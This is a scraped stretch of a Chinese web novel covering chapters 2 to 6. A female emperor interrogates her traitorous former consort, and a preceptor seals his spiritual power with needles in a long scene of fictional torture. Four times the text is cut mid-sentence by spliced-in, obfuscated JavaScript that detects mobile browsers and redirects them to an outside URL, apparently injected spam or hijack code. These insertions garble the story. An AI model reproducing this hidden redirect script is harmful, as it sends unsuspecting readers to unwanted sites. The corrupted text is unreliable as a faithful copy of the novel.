《聊赠一枝梅》 2. 第 2 章 怡国皇室秘密遁走,除了带走大部分宫中宝物,还带走了一大批对他们忠心耿耿的官员和军队。甚至还有不少城中百姓,也逃离了即将被荣军占领的都城。 荣军此刻占领的,基本上是一座只剩下老弱病残的空城。 根据探子的报告,在各个方向上都发现了怡国人逃难的队伍,因此很难判定怡国皇室的去向。若是分兵追击,就会造成兵力分散,就算真的遭遇了怡国皇室也难以对敌。 更何况,主力部队还得镇守怡都,以防怡国埋有伏兵,给荣军来个瓮中捉鳖。 “搜捕怡国皇室是其次,陛下安危最为要紧。”白千山一向谨慎,加上怡都内已经零星爆发了针对荣军的偷袭,更是不敢多派军队出去追击。他连夜调派人手,将朱炎驻跸的怡国太极宫围得密不透风。 “白元帅这么做,岂不是生生放跑了怡国皇帝?”朱炎心中恼怒,却又无可奈何。若是那该死的齐浚肯吐露怡国皇室的计划,他们又何至于左右为难? “齐浚那边,审得怎么样了?”好不容易抽了个空隙,朱炎问身边的女官郑玄英。 “还不曾有结果。”郑玄英伺候朱炎草草用了膳,又搬出一大堆账册放在朱炎案头,“这是本月的粮草账目,这是从怡国皇史宬中搜到的户籍册,还有怡国皇帝一年来的起居注,都按照陛下的吩咐送来了。” 随手翻开荣军粮草账册,扫了一眼末尾寥寥无几的余粮,朱炎心头烦躁:“叫他们加紧审。无论用什么手段,今天夜里一定要有结果!”再这么拖下去,让怡国皇室逃走,以后想要再彻底歼灭他们就难了。 怡国一向富庶,若是他们真的卷土重来,荣国的国库能不能支撑还真是个问题。 “是。”郑玄英答应了,正要出去,朱炎又叫住了她,“等朕看完这些账册,亲自过去一趟。人现在在哪里?” “就关在怡国皇室的诏狱,离此不远。”郑玄英说着,见外面天色渐黑,就张罗着掌了灯,放在朱炎的案头。 朱炎这一看,就看到了临近子夜时分。等到她终于推开案上书册站起身时,整个怡都已是夜深人静。就连喝酒吃肉庆贺胜利的荣军将士们,也纷纷在营帐中入睡了。 “齐浚还没招吗?”朱炎揉了揉发胀的太阳穴,活动了一下坐得僵硬的四肢。 “臣吩咐他们有结果就及时来报,如今没有动静,梅侍卿应该是没招供。”见朱炎迈步往外走,郑玄英贴心地给朱炎披上了一件貉子毛大氅。 此时乃是十月深秋,夜凉如水,冻得人的鼻尖和耳朵发红。朱炎带着郑玄英和几个亲卫,踩着满地霜花,朝着怡国诏狱而去。 诏狱是怡国前几代皇帝所设,专门用来秘密审讯对皇室不利的官员。它就位于宫城西侧的角落,在怡国百姓眼中,就是人间活地狱的代名词。 一步步走进那个偏僻幽暗的所在,饶是朱炎贵为女帝,也莫名多了一分紧张。也不知道齐浚落在里面,究竟成了什么样子。 她先前急于得到口供,吩咐“无论用什么手段”,却忘了叮嘱不要弄死弄残,此刻蓦地想到此处,朱炎心头惊跳,脚步不由加快了许多。 此刻的诏狱中,原本的怡国人犯早已不知去向,空荡荡的牢房被甬道里的火把照得如同阴森鬼蜮。寂静之中,既没有审讯者的怒喝之声,也丝毫听不到受刑者的惨呼呻吟。 偷觑到女帝脸色铁青,郑玄英知趣地加快脚步,大声通报:“陛下到!” “参见陛下!”转瞬间,从那间唯一亮着灯的牢房里走出几个侍卫,跪地行礼。 “朕让你们审问要犯,你们却在这里偷懒?”朱炎怒斥。 “陛下恕罪!”一个为首的侍卫赶紧分辩,“不是臣等懈怠。实在在人犯身体太弱,没审几下就晕过去了,无论什么法子都叫不醒。臣等知道他干系重大,怕出人命,刚找了大夫来救治。”一边说,一边指了指缩在旁边拎着药箱的大夫。 没再理会侍卫头领的解释,朱炎跨步走近了牢房。 墙上火把的光线中,她第一眼就看到了齐浚。 她曾经的侍卿此刻躺在角落里,闭着眼睛毫无知觉,脸色苍白得没有任何血色。心中骤然一紧,朱炎下意识地快步走到他身边,伸手去试探他的鼻息。 “还有气,但是怎么样都唤不醒。”那个不知哪里找来的大夫大着胆子开口。 “都退下。”朱炎冷冷地吩咐。她早已看出齐浚的昏迷是因为灵力透支,寻常大夫怎么可能唤醒他? “是。”郑玄英领命,识趣地带着所有人都退出了诏狱。 此时此刻,这无边地狱之中,只剩下她和他。 伸出一只手抵住齐浚的心口,朱炎输进去一丝灵力。果然,没过多久,齐浚的眼睫颤了颤,缓缓睁了开来。 恍惚认出面前站着的女帝,齐浚张了张口却没能发出声音。他努力想要抬头坐起,却因为太过虚弱,总是坚持不了太久又无力地跌回地上。不知是因为疼痛还是寒冷,他的身体轻轻地发着颤。 当朱炎缓缓抬起他垂在身侧的右手时,齐浚的身体蓦地僵硬了。他屏住呼吸,不知道朱炎接下来会对他做什么。 虽说早已下定决心将自己交到她的手上任她处置,他的心里总归是紧张的,甚至隐隐对她的原谅含着期待。 毕竟,他们曾经拥有过那么美好的回忆。 朱炎从袖子里取出了一方手帕,小心地包裹上齐浚的右手掌心。那是他为了救她被短箭划出的伤,由于灵力耗尽,那道伤口一直无法愈合。 “安安……”感受到右手上那轻柔的力道,齐浚难以置信地睁大眼睛,喃喃着唤出了朱炎的小名。他们在章台宫当神仙眷侣时,他对她一直是这样称呼。 “从今以后,不许这么叫朕。”朱炎将手帕打完结,退后一步,语气冷淡如水,“朕一向恩怨分明。这是你救朕负的伤,所以朕给你包扎。情义就此结清,剩下的,只有我对你的恨。” “对不起……”齐浚话音未落,却蓦地发出一声痛楚的闷哼。 却是朱炎的手,用力在他的胸口按了下去。 “真可惜,朕那一脚,居然没怎么伤到你。”朱炎拍了拍手站起身,“你再不招供,朕就不会手下留情了。” “已经伤到了……我想救陛下,陛下却那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393194|200336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样对我……”齐浚虚软的声音响起,竟有些淡淡的委屈,“我……伤心了……” “那是因为朕以为你要行刺!”朱炎下意识地分辩完,忽然觉得有些忿忿——朕凭什么要对这个叛徒解释? “安安,相信我。无论发生什么,我都不会伤害你……”齐浚深情地凝望着朱炎,脸色一瞬间灰败下去,抬起的手也无力地垂落。 该死,刚才输进去的那缕灵力这么快就消散了。 朱曦伸出手,继续想输入灵力,但她本就不善于修炼,灵力有限,运功又不得法,顿时急得额头上都冒了汗。 “陛下……够了……”齐浚好不容易积攒出力气,想要阻止。 “没有!”朱炎一咬牙。对于他,她怎么可能够,她一辈子也不可能够! “陛下若还要审问,就麻烦……快一点……否则我怕……撑不住……”齐浚显然是强撑起一口气,微弱却清晰地道,“等陛下满意了……能不能答应……让我陪在你的身边……” “你到底是何居心,非要跟在朕身边?”朱炎恼怒又疑惑,“你就不怕,朕日后天天这样折磨你?” “你不会……”齐浚的嘴角慢慢弯起一个弧度,眼中闪烁,“安安不是那样的人……” “你没记性吗,不许叫我安安!以后叫一次朕就打一次!”朱炎见不得齐浚有恃无恐的样子,是笃定了她心软,终究会败在他们过去的情义之下吗? “以后,陛下说以后……那陛下是答应……留下我了?”齐浚松了一口气,嘴角微微翘起。 “你背叛过朕,你说朕还会留你吗?”朱炎一噎,好不容易想起了此行的目的,“除非你招出怡国皇室的去向,朕还可以考虑留你一命。” “不,你必须……留下我。”齐浚积蓄了一些力气,终于说出自己最重要的话,“至少……让我帮你查出……刺客背后的人……” 朱炎的手猛地掐在了一起。没错,今日在城门口行刺自己的短箭,究竟是奉何人之命射出的呢?荣京那边,势力盘根错节,真的有值得自己完全信赖的人吗? “陛下可以把我当成弃子,能用就用,不能用……就扔。”齐浚此刻眼前昏黑,强撑住最后的力气,“陛下放心,你不会吃亏的……”言语未必,人已再度晕厥了过去。 朱炎定定地站在齐浚面前,思忖良久,终于解下身上所披的貉子毛大氅,裹住了他虚弱单薄的身体。 她隔着那温暖柔软的毛皮拥着他,看着他毫无生气的苍白的脸,泪水终于忍不住簌簌而下。 他以为只有他身在炼狱吗?自他离开之后,她的身边只剩下锦绣围成的荆棘,珠玉堆砌的牢笼,甚至连个说真心话的人都没有。她何尝不想他能留在自己身边,可她真的敢将他留在自己身边吗? 她和命运赌过一次,已经输了,难道真的还要鼓足勇气再赌一次? 感受到怀中之人不同寻常的高温,还有逐渐灰败下去的面容,朱炎知道抉择的时间到了。再拖下去,他真的会死。 “来人!”终于,女帝朝着诏狱外等候的从人下令,“将人送到太医院去。告诉他们,好好医治。” 3. 第 3 章 当天晚上,朱炎又做了那个噩梦。 她梦见自己被人埋进了深深的泥土中,无论她怎么挣扎哭喊都无法挣脱。厚重的泥土压住了她的身体,逐渐埋上她的脸,让她能看到的光亮越来越少,越来越少,最终变成死一般的黑暗和冰冷。 可偏偏,她知道自己是活着的。活着清晰地感觉到时间的流逝……她甚至无法死去,只能清醒地躺在黑暗的地下,承受一年又一年的黑暗、孤独和恐惧。没有人会来救她,这样的折磨会永无止境,永无止境…… “啊!”朱炎忍不住嘶声大叫,猛地从床上坐了起来,“阿浚——” “陛下,你又做噩梦了吗?”郑玄英的声音,从帐帘外传了进来。 不是阿浚。朱炎定了定神,这才反应过来身边并没有齐浚,随口应了一声:“没事。” 毕竟这个梦,她已经做了很多年。 小时候做这个梦的时候,她会吓得跳下床,满宫殿去找母皇和父君,扑在他们怀中哇哇大哭。 后来母皇死了,父君失踪了,她成了女帝,做噩梦后只能默默抱紧自己,甚至不敢告诉别人梦中的场景,生怕引来不必要的麻烦。 再后来,齐浚从青要山来了章台宫,成了她的侍卿,她终于可以在噩梦后有个值得信赖的温暖怀抱,倾吐自己的秘密和恐惧。当齐浚紧紧地抱着她,一遍遍承诺不会让那可怕的情景发生时,她不止一次动过念头,哪怕引发朝野动荡,也要退掉自幼订下的婚事,立齐浚当自己的凤君。 可是这一年来,她连这唯一的温暖也失去了。 披衣下床,朱炎径直往外走。睡在外间的郑玄英连忙赶了上来:“陛下要去哪里?” “齐浚怎么样了?我去看看他。”朱炎朦朦胧胧地道。 “听说太医对症下药后,他的灵力开始缓慢流转,人已经没有生命危险了。”郑玄英瞧见朱炎神色,试探着劝阻,“人在太医院静养,应该没事的。倒是陛下,若是一夜之间两次去探望,只怕会引来不必要的传言。杨丞相和杨公子那边若是听闻,更是不好……” 郑玄英的话轻言细语,却的确让朱炎清醒过来。丞相杨密之是先皇留给她的辅弼,他的独子杨昱更是先皇就指定的凤君人选。他们对齐浚从天而降入她后宫原本就心怀不满,如今看她对这叛徒照拂有加,肯定更有怨言。 杨家是荣国的顶梁柱,这次自己带兵出征,后方全靠杨丞相照顾大局。这样的世家,自己刚登基不过两年,自然不能得罪。就连元帅白千山,也是杨密之的表亲,自己在这边的一举一动,杨丞相自然知道得一清二楚。 “也罢。”朱炎无法,终于放弃,“让太医院那边尽心救治。” “陛下在吗?”房外,忽然传来白千山的声音,“臣有要事,求见陛下!” “什么事?”朱炎还穿着寝衣,只能让郑玄英出去询问,自己则在侍女们的服侍下套上了外服。 “叛贼齐浚勾结怡国余孽想要逃跑,已被臣派人围在太医院中。如何处置,请陛下明示!”事态紧急,白千山显然不愿耽搁工夫,索性大着嗓门在殿外朗声说。 什么?他要逃跑?朱炎一怔,顿时觉得手脚冰凉——难道他先前说的那些,都是骗自己恢复他的灵力?她竟如此愚蠢,又被他骗了一次? “和朕一起去太医院!”朱炎匆匆披好衣服走出太极殿,和白千山一起向太医院走去。 太医院门口,此刻已经围满了全副武装的黑甲军士。见朱炎到来,众将士纷纷让开一条通道,露出了人群中心的齐浚,和几个穿着夜行衣、手持兵刃的怡国人。 齐浚此刻还很虚弱,他头发披散,脚步虚浮似乎都无法站立,被一个为首的怡国人牢牢搀扶着。人数悬殊,若非白千山碍于齐浚的身份去请示朱炎,荣国士兵早就可以把他们杀个一干二净。 “齐浚,你不是今天当众献城投降了吗,为何背信弃义要逃跑?”朱炎走到距离他们不过一丈左右的地方,威严地问。 “你们荣国才背信弃义,若非你们撕毁盟约暗中出兵,怡国怎么会被你们打败?”齐浚还未开口,那个扶着他的年轻黑衣人就骂道,“阿浚为避免生灵涂炭,不惜与皇室决裂才献城投降,可是看看你们把他折磨成什么样子了?你们荣国人都是残忍无情的禽兽!” “骂啊,可以再骂得难听一点。”朱炎懒得分辩,面不改色地接话,“反正你们都逃不掉了,既然齐浚不说怡国皇室的去向,朕就捉住你们来审!”说着女帝一挥袍袖,“上!” “慢着!”齐浚见荣军士兵就要冲上来,赶紧喊道,“陛下,臣不会逃走的。求您开恩放郑悠之他们离开!” “阿浚,你在胡说什么?我来就是为了救你的!”郑悠之急忙打断齐浚,“你放心,就算是死,我也不会放弃你!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393195|200336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来这个人就是郑悠之。朱炎想起齐浚曾经提到过的这个好朋友,想不到真还有人在自己面前表演朋友情深。她没心思和他们浪费时间,咬牙向士兵们下令:“动手!” “得令!”训练有素的荣军士兵发一声喊,顿时向着包围圈中的几人杀去。 而朱炎的手,也在袖子里紧紧地攥成了拳头——既然他又骗了自己,那她就不要他了!就算死在乱刀之下,他也是咎由自取! 然而,就在朱炎狠心割爱之际,眼前忽然一阵光华闪耀,却是一道结界从人群中蔓延开来,伴随着荣军士兵的惨叫之声。随即,几个黑影被从结界中抛向一旁的宫墙,转眼就消失在高大坚固的宫墙之后。 好你个齐浚!朱炎气得身子发抖,白千山则赶紧分兵去追。不过那几个黑影去势太快,估计已很难追上了。 被结界所伤的荣军士兵们倒在地上,身上都有被烧灼的痕迹,痛苦地翻滚着。而在倒下的人群中,却有一个白衣人影孤零零地站着,望着朱炎的方向,随即脚下一个踉跄,单腿跪地,一口血直喷出来。 “你没走?”朱炎走到齐浚面前,恼怒又诧异地问。 “臣说过……要留在陛下身边……还望陛下开恩放过悠之……”齐浚说着,又是一口血,身子斜斜向一方倒去。很显然,以重伤之身强行动用灵力,他已是无力再撑下去。 “朕费心费力救回你的命,结果你回报给朕的就是这个?”朱炎一把揪住齐浚的头发,将他的脸拽起来正对着自己。 “对不起……悠之他太冲动……臣也是昏迷中被他带出来……陛下放心……臣不会走……”齐浚勉力用气声回答。他脸色苍白如纸,却衬得眼睛幽黑而湿润,足以让她惊心动魄。然而这一次,朱炎不会再心软,他再说什么,她也不会信了。 “既然不想好好养伤,就成全你。”朱炎松开手,一把将齐浚抛在地上,“关回太医院里去,加强戒备,看还有哪些不怕死的怡国人来救他!” “是!”士兵们一拥而上,将齐浚押解着带走。“相信我,我不会逃……”齐浚挣扎着转过头看朱炎,却没有换来朱炎的回应。 很快,朱炎的眼前,只剩下一片空荡荡的黑暗。 “派人去京城请国师来。”忍着心脏的紧缩,朱炎故作平静地对白千山道:“怡国余孽还在,留着齐浚这条命还有用。但他这身灵力,是留不得了。” 4. 第 4 章 五日之后,国师沧澜从荣京到达了怡都。 朱炎带领白千山等一众荣军将士,亲自在怡都城门口迎接国师的到来。 当沧澜从他乘坐的马车上下来时,所有的人都屏住了呼吸。不同于齐浚的温润如玉,沧澜国师是高冷的、缥缈的,如同天上的神仙不染半点凡尘。看见他的人,都诚惶诚恐地低下头去,生怕自己惊艳的眼神亵渎了国师一分一毫。 哪怕贵为荣国女帝,朱炎对沧澜也十分景仰。虽然这位国师在荣国并无实权,也不过问政事,但是有他在,朱炎心里总是会安稳不少。 “国师,你总算来了。”朱炎迎上去,紧绷的双肩松懈下来,“朕已经安排好了馆舍,请国师前去休息。” “不用休息了。既然陛下让我来处置齐浚,我就直接过去吧。”沧澜从不称臣,微微拱手便算是见礼,这是朱炎的母皇在世时便有的特例,一直延续到朱炎即位。 “国师打算怎么处置他?”朱炎有点紧张。这几天来,齐浚虽然被囚禁,太医们却不曾断过医治,他现在身子刚刚有点起色,却又要经历一场劫难了。 “陛下既然不愿杀他,为确保他未来不做出危害荣国之事,自然是要废掉他的法力。”沧澜转头看向朱炎,“陛下要亲自验看吗?” “不,不用了。国师自行处置就好。”朱炎慌乱地别过眼。不知怎么的,她感觉沧澜的眼睛看透了自己的心思,看透了自己对那个叛逃男宠的怜惜和热望,这让她感到有些羞耻。 “好。那我就先告辞了。”沧澜点了点头,与朱炎作别,跟随领路的侍卫径直往太医院而去。 先前听闻朱炎要废掉自己的修为,齐浚不得已向朱炎哀求,朱炎却冷淡地回答:“你不是说要留在朕身边吗?不废掉你的灵力,朕不放心,朝臣们也不放心。你若是不满,大可以再逃一次。” 齐浚没有逃。哪怕那些灵力,是他十年来在青要山神宫中日以继夜、废寝忘食地修炼而来。 国师沧澜走进房中的时候,齐浚礼数周全地向他拱手问好,维持着一贯的良好教养。不过沧澜的眼光何其毒辣,一眼就看出齐浚表面上波澜不惊,眼中却闪过一瞬即逝的慌张与绝望。 这个年轻人,到底还是怕的。 “你们都退下。”沧澜吩咐身边的侍卫。他和齐浚都明白,哪怕齐浚恢复全盛时期的灵力,也断断无法与荣国国师抗衡。沧澜的灵力,深不可测。 很快,房内的闲杂人等消失得一干二净。 沧澜负手站在齐浚面前,打量了他片刻,终于开口:“怎么废除你的灵力,本座给你两个选择。” 齐浚望着沧澜,有些意外:“请讲。” “第一种方法,直接拍散你的气海,震碎你的十二经脉,让你永远不再有灵力。这种方法一劳永逸,痛苦也是最小的。”沧澜缓缓解释。 “第二种呢?”齐浚平静地问。 “第二种,就是将银针刺入你的十二经脉,封住所有灵力流通的途径。那些针会在你的经脉中游走,让你以后每时每刻都痛不欲生,若是强行动用灵力,更会缩短阳寿,命难长久。” “可是,第二种我若是逼出银针,是不是就可以恢复灵力?”齐浚眼中一亮。 “没错。”沧澜点头。 “国师为何要帮我?”齐浚敏锐地问。 “不是帮你,只是交易。”沧澜道,“以后你若是肯替我办事,每办成一件我就给你逼出一根银针。” “办什么事?”齐浚追问,“若是不利于陛下的事,我宁死也不会做的。” “会不会危及陛下,你到时候可以自己判断。”沧澜似乎有些厌倦,“选择权已经交给了你,你自己选吧。” “我选第二种。”齐浚毫不犹豫地道。他还要守护安安,绝不能真正失去灵力。 “好。”沧澜从袖子里取出一个小布囊,里面插着十三根细如牛毛的银针。饶是齐浚心性坚韧,如今看见那闪闪寒光,还是心头一悸。 “十三针需要一气呵成,你需要全程保持清醒,才能保证气脉流传,将针带入你的经脉深处。若是半途晕过去,就是前功尽弃,必须从头再来一次。”沧澜拈出一根针,冷冷地道,“若是那样,只能证明你是个废物,我不会管你。” “好,我不会晕去。”齐浚坚定地道。 “含着。”沧澜取出一小截人参,放入齐浚口中。 齐浚感激地点点头,感觉到人参的苦味从舌下泛起,让整个人清醒了许多。 “想点什么事情分散注意力,很快就好了。”沧澜说着,让齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393196|200336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浚脱掉鞋袜在床上躺好,伸手捏住了他左手的拇指。 “十二经脉的末端都在手指脚趾之上,我会顺着经脉流向依次下针。”沧澜说这些话的时候语气冷漠,似乎对齐浚接下来的反应并无兴趣。他将手中的针尖对准齐浚的拇指指尖,拈动着刺了进去。 “呃……”齐浚的喉咙里发出一声压抑的喘息,身子蓦地紧绷,冷汗刷地一下从额头冒了出来。哪怕做了十足的心理准备,他还是低估了这封印灵力的痛苦。 第一针,手太阴肺经。 锐利的银针慢慢钻入齐浚的指尖,在沧澜的灵力催动下,霸道地钻入了齐浚的经脉,逆着少商、鱼际、天府、太阴等穴位一路向上,最后游走到肺部的中府穴,贯穿整个手太阴肺经。 以齐浚的耐力,银针逆穿经脉之痛在身体其他地方还可忍耐,可当银针逆行入肺之时,他只觉得肺部一阵尖锐刺痛,连带得每一口呼吸都如同火烧火燎的酷刑。他徒劳地张开口,想要屏住呼吸暂时缓解一下那令人窒息的痛楚,气息却蓦地一岔,顿时咳了出来。咳嗽震动了肺部的银针,引发更加剧烈的疼痛,哪怕他含着上好的人参,也几乎要疼晕过去。 与沧澜手中这根小小银针相比,前些天在诏狱所受的折磨,都不值一提了。 “叫你想些别的事分散精力,否则晕过去我们就从头来过。”沧澜的声音,冷冷地从虚空中传来。 是了,赶快想些别的事,欢乐的、痛苦的都可以,只要可以暂时将意识从肺部那根针上抽离,哪怕只有一瞬都好。 可是,想什么呢?他现在的头脑中早已疼得一片空白,仓促间什么都想不起来。 “第二针,手阳明大肠经。”沧澜见齐浚胸膛急剧起伏,呼吸急促,唇角挂血,目光涣散,提醒了一句,“想一想,你究竟是为了什么要受这份罪?” 银针刁钻地刺入了食指指尖,在远未平息的旧痛之外,又增添出新鲜的超出想象的痛楚。齐浚的牙齿将嘴唇咬出了深深的血印,这才第二针啊,一共十三针,他真的能熬过去吗? 对了,赶紧想,赶紧想,想他为什么要放弃自由,心甘情愿地陷入这无边炼狱?这一切,这一生,都是为了他心底的那个人。 他想起了十五年前,他第一次见到朱炎的情景。 5. 第 5 章 那时候的朱炎年方十岁,还是荣国的皇太女。她跟着父亲荣国凤君率领荣国使团出访怡国。凤君与怡国君臣参加各种仪式和宴会之际,朱炎就被邀请到怡国未成年皇子皇女们聚居的崇明宫,与他们一起学习玩耍。 齐浚永远记得朱炎那天的装扮。 荣国喜欢浓重的色彩,怡国则喜欢淡雅的风格。因此朱炎那天一身鲜艳的红衣就在一众天青鹅黄间格外醒目。 “我叫朱炎,就是太阳的意思。”荣国皇太女如此介绍自己,引来怡国皇室们暗暗的嘲笑——荣国人口气真大,这个小姑娘,真是不知天高地厚。 可是只有站在人群角落里的齐浚,却觉得真的有一轮太阳,照亮了自己晦暗的人生。 “第三针,足阳明胃经。”国师沧澜冷冰冰的声音传来,弯下了腰。还不等齐浚反应过来,银针已经从他左足的第二个脚趾刺了进去。 齐浚忍痛的注意力原本都在手指上,此刻猝不及防,不由闷哼出声。他感觉到那银针逆行经脉直插入胃部,让他忍不住蜷缩起身体,喉口都泛上了血腥气。 实在太疼了,疼得他想发疯。可是不行,不行! 见面那天朱炎跟自己说的第一句话是什么?他怎么一时都想不起了? 对了,对了,她那时候走到自己身前,乌黑明亮的大眼睛看着自己,笑眯眯地说:“这个小弟弟真好看,你叫什么名字?” “哈哈哈哈……”周围传来了一阵哄笑,他的兄弟姐妹们七嘴八舌地说,“别问他,他是个小哑巴。” “他娘因为对父皇口出怨言被赐死了,死后怕她到先帝那里胡言乱语,嘴里还被塞满了糠。这小子吓到了,从此就变成了哑巴。” 面对她看着他惊诧而怜悯的目光,小齐浚的脸涨得通红。他的胸口剧烈地起伏了几下,终于憋出母妃死后两年来的第一句话:“不,我……不是哑巴。我……会说话。” 众人的惊呼声中,齐浚听见自己又清清楚楚地对朱炎说:“我十一岁了,比你大一岁,不是小弟弟。” 第四针,足太阴脾经。 这一次的银针从左脚的大脚趾侧面刺入,逆行而上直到腹侧的脾脏。四根针在齐浚的体内随着经脉不断游移,如同四条毒蛇翻江倒海,肆意妄为,不断地吞噬着他的神志。 不,不能晕去。翻涌的气血中,齐浚心中不断提醒自己,想点高兴的事情吧,安安曾经带给了自己那么多幸福时光。 “你以后可以叫我安安。”记忆中的朱炎趴在齐浚耳边悄悄地说,“除了我母皇和父君,只有你能叫。” “安安。”他试探着叫了一声,她则脆生生地答应:“哎,我在。” “安安,安安。”他又叫了两声,满心都是甜蜜。 “哎,哎!”朱炎不厌其烦,又高高兴兴地应了,“怡国皇帝叫你什么?” “父皇只叫我喂。”他的眼神暗淡了一下,又亮起,“娘活着的时候,叫我阿浚。” “那我也可以叫你阿浚吗?”朱炎见齐浚点头,高兴地叫道,“阿浚,阿浚!” “哎……”耳边似乎又响起朱炎呼唤自己的声音,齐浚想要答应,嘴唇张了张却发不出声音。 第五针,手少阴心经。 “这一针从小指内侧直贯心脏,是最凶险的一针。你若是撑着的那口气散了,就有性命之忧。”沧澜提醒。 齐浚微不可察地点了点头。他撑得住的,有安安陪着他,他什么都能承受。 “你是不是吃得不好,比我大却还没有我高。”有一次,小朱炎鼓足勇气问他。 “因为母妃的缘故,我不像兄弟姐妹那样封了爵位,可以有食邑。”十一岁的小齐浚有些窘迫地回答。由于父皇不闻不问,他在宫中无人在意,若非有两个还算忠厚的仆人服侍,他只怕饿死都没人管。 “我明白了,怪不得你的哥哥弟弟都称为某某王殿下,只有你被叫做五皇子。”小朱炎意识到自己触及了齐浚的伤心事,连忙安慰他,“没事没事,以后你若成为我的凤君,也是可以称殿下的。” “凤君?”他心潮澎湃,喃喃地问了一句。 “就是荣国女帝的夫君,像我爹爹那样……”小朱炎再没脸没皮,此刻也不好意思了,一把拉起他的手,“走,我带你去吃好吃的!你多吃一些,以后就能长得高高的!” 齐浚的脸上刚刚露出一丝微笑,银针却蓦地钻入了心脉,将他脑海里那句回答冲得七零八落:“安安,谢谢你……我现在……已经足够高了……” 第六针、第七针、第八针…… 手太阳小肠经、足厥阴肝经、足少阳胆经…… 身体的五脏六腑无不被尖锐的刺痛折磨,血流从紧闭的唇缝中断断续续地涌出,可齐浚仅凭着过去的回忆,硬生生地挨过了一针又一针…… 终于,齐浚看见沧澜从布包里取出了第十三根、也是最后一根银针。 “最后一针,从膻中穴入,给你的心脉加入双重封印,否则你自己若心狠,可以自行逼出其他针。”沧澜冷面无情,果然不给他留任何一点机会。 齐浚已经没有力气说话,只是盯着沧澜,露出了一丝轻蔑的笑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393197|200336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这一针最为艰难,你疼就喊出声来。”沧澜依然不徐不疾地道。 齐浚此刻已经没有力气做出任何回应了。冷汗从他的额头涔涔滑落,流过眼角就仿佛泪水。而他的回忆,也停留在自己唯一一次的失态大哭。 那时候,他已经十二岁。在朱炎的精心喂养下,他个头窜了一截,脱去了孩童的稚嫩,隐隐有了少年的身姿。 荣国使团,也终于在盘桓了半年之后,要回归荣国了。怡都中最新到来的,是北方强大的单于国使团。 单于国兵强马壮,怡国为节省庞大的军费,不得不答应单于国送皇子为质。以前怡国也有送过质子的先例,但只能保住短暂和平。一旦无法满足他们的钱粮要求,单于国就会杀掉质子率军南下,再度入侵。齐浚若去,只有死路一条。 “父皇,求你不要送我去……”跪在怡国皇帝脚边,小齐浚忍不住哭出声音。他伸手想要拉住父皇的袍角,父皇却弯下腰摸摸他的头,叹了一口气: “单于国十万铁骑压在北方边境,随时会长驱直入。老五,若是能用你一个人换怡国社稷,是你的造化。” 说完,怡国皇帝擦了擦眼角,一把扯出他手中的袍角,转身离去。 小齐浚呆呆地跪在地上,只觉得自己好不容易亮起来的天地彻底灰暗。他一动不动地跪在那里,直到小朱炎一把将他扶了起来。 “我听说了。”朱炎的眼眶也红红的,但是眼神却十分坚定,“我会救你。” “怎么救我?”他心如刀绞,“你马上就要走了。” “别怕,我不会丢下你。”女孩在他耳边轻轻说:“荣国使团出发的时候,我会把你藏在我的车厢里。等离开怡都,我派人用快马送你去青要山神宫。你在那里学会了法术,以后就不会有人再欺负你了。” “真的吗?”他喜出望外,“等我学成了法术就去找你。到那个时候,就能换我永远保护你了!” 安安,我现在终于可以保护你了……银针入体带来的不适让他几乎无法呼吸,眼前炸开片片白光。但他终于忍住了崩溃失态的耻辱,从哭求父皇未果之后,他发誓再也不会哭喊了。 就算要吃尽人世的苦,他也不要让自己那么狼狈。 逐渐适应了银针在全身游走的刺痛,齐浚轻轻呼出一口气。十三经脉的针已经全部刺入,他熬过来了。 以后只要他不调动灵力,那些银针带来的折磨还是可以慢慢习惯的。 “这小子,还真不好对付。”国师沧澜看着面前力竭昏睡的年轻人,不易觉察地皱起了眉头。 6. 等待进入网审 荣国女帝在怡都待了一个月。这一个月里,荣国彻底接管了怡都,将它变成了荣国的一个城市。美中不足的是,哪怕兵分几路,怡国皇室的去向始终未能查明。 女帝不能离开荣京太久,于是朱炎将怡都交给新委派的荣国太守,又命元帅白千山继续向怡国残余国土挺进,自己则带领皇家御林骑兵团,班师回朝。 